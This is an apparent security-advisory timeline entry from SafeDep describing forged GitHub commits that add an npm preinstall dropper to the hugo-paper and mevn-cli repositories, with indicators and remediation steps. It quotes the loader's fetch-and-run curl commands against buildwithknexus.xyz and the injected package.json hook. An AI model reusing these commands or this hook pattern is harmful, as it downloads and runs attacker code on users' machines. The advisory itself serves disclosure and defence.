Forged commits plant preinstall dropper in hugo-paper and mevn-cli GitHub repos, fetching payload from buildwithknexus.xyz

Linha do tempo

1. safedep.io ↗ · pub. 19/10/2026 21:00 · coletado 20/10 07:00 primeiro registro

   Forged commits plant preinstall dropper in hugo-paper and mevn-cli GitHub repos, fetching payload from buildwithknexus.xyz

   ler a análise desta fonte ocultar

   An attacker pushed forged commits to the default branches of two unrelated GitHub projects, hugo-paper and mevn-cli. The commits add a preinstall hook (scripts/preinstall.js) that downloads and silently runs a second-stage script from buildwithknexus[.]xyz during npm install or bun install. The commits copy the author, date and message of the previous tip commit, so the history looks untouched. No npm package carries the payload, so registry scanners miss it. SafeDep has not retrieved the second stage and advises treating any machine that ran the hook as compromised. The pattern suggests stolen maintainer push credentials, but this is inferred and unconfirmed.

   Technical Details

   • The hook is inserted as the first entry under scripts in package.json: "preinstall": "node scripts/preinstall.js".
   • On Windows the loader runs curl.exe -ks https://buildwithknexus.xyz/check_w -o %TEMP%\check.cmd and then executes it via cmd /c. On macOS and Linux it runs curl -ks https://buildwithknexus.xyz/check_m -o /tmp/check and executes it with nohup in the background. All execSync calls use stdio: ignore, and -k disables TLS verification.
   • The server controls the second stage (check_m, check_w) and can change it at any time.
   • mevn-cli attack (2026-08-20 11:23 UTC): new commits were appended on develop and master, each copying the metadata of the previous commit. Loader v1 (hidden PowerShell on Windows) was replaced by v2 (curl.exe + cmd /c), likely because v1 had an escaping bug. The maintainer never signed commits, and the master commits carry a 2020 date.
   • hugo-paper attack (2026-08-21 02:22 UTC): commit a68d2c9b was force-pushed over main, replacing the signed merge commit de1169ec of PR #267. Tells: the "Verified" badge is gone and the commit has one parent instead of two. The PR API still reports merge_commit_sha as de1169ec, which no longer exists on any branch. The PR author is not involved.
   • No npm release is affected: hugo-paper is not published to npm, and the last mevn-cli release (1.8.3, 2022) is clean. Forks and copies made after the attack inherit the payload.
   • The git technique matches GlassWorm and ForceMemo (credential theft, tip-commit rewrite, force push). The tooling differs (plaintext curl and a fixed domain, no invisible-Unicode loader or Solana C2) and no indicators are shared, so SafeDep treats it as a separate cluster.

   Remediation

   • You are affected if you cloned or pulled hugo-paper main after 2026-08-21, or mevn-cli develop or master after 2026-08-20 (or a fork), and ran npm, bun, yarn or pnpm install without --ignore-scripts. Using the theme only as a Hugo module or git submodule does not trigger the hook.
   • Treat affected machines and CI runners as compromised. Hunt for /tmp/check, %TEMP%\check.cmd, and any process or log entry mentioning buildwithknexus.xyz.
   • Rotate all reachable secrets: GitHub tokens, SSH keys, npm tokens, cloud credentials, .env files and browser-stored credentials.
   • Block buildwithknexus.xyz at DNS or proxy level and search egress logs for earlier connections.